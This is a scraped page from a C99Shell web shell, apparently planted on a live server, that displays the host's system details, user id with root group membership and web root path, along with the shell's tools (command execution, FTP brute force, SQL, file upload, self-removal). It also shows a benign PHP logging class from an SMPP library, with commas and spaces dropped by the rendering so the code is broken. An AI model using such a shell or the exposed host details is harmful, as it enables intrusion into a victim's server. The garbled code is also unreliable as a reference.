!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/alexandr-mironov/php8-smpp/src/   drwxr-xr-x
Free 29.16 GB of 117.98 GB (24.72%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LoggerDecorator.php (2.46 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
declare(strict_types=1);

namespace 
smpp;


/**
 * Class LogHandler
 * @package smpp
 */
class LoggerDecorator implements LoggerInterfaceLoggerAwareInterface
{
    public static 
bool $debug false;

    public static 
int $debugLevel 0;

    
/**
     * @var LoggerInterface[]
     */
    
private array $loggers;

    
/**
     * LogHandler constructor.
     * @param LoggerInterface ...$loggers
     */
    
public function __construct(LoggerInterface ...$loggers)
    {
        
$this->loggers = ($loggers) ? $loggers : [new DefaultLogger(self::$debug)];
    }

    
/**
     * @param LoggerInterface $logger
     */
    
public function setLogger(LoggerInterface $logger): void
    
{
        
$this->loggers[] = $logger;
    }

    
/**
     * @param string $message
     * @param array<mixed, mixed> $context
     */
    
public function emergency(string $message, array $context = []): void
    
{
        
$this->log(self::EMERGENCY$message$context);
    }

    
/**
     * @inheritDoc
     */
    
public function alert(string $message, array $context = []): void
    
{
        
$this->log(self::ALERT$message$context);
    }

    
/**
     * @inheritDoc
     */
    
public function critical(string $message, array $context = []): void
    
{
        
$this->log(self::CRITICAL$message$context);
    }

    
/**
     * @inheritDoc
     */
    
public function error(string $message, array $context = []): void
    
{
        
$this->log(self::ERROR$message$context);
    }

    
/**
     * @inheritDoc
     */
    
public function warning(string $message, array $context = []): void
    
{
        
$this->log(self::WARNING$message$context);
    }

    
/**
     * @inheritDoc
     */
    
public function notice(string $message, array $context = []): void
    
{
        
$this->log(self::NOTICE$message$context);
    }

    
/**
     * @inheritDoc
     */
    
public function info($message, array $context = []): void
    
{
        
$this->log(self::INFO$message$context);
    }

    
/**
     * @inheritDoc
     */
    
public function debug(string $message, array $context = []): void
    
{
        
$this->log(self::DEBUG$message$context);
    }

    
/**
     * @param value-of<LoggerInterface::LEVEL_LIST> $level
     * @param string $message
     * @param array<mixed, mixed> $context
     */
    
public function log(string $levelstring $message, array $context = []): void
    
{
        foreach (
$this->loggers as $logger) {
            
$logger->log($level$message$context);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--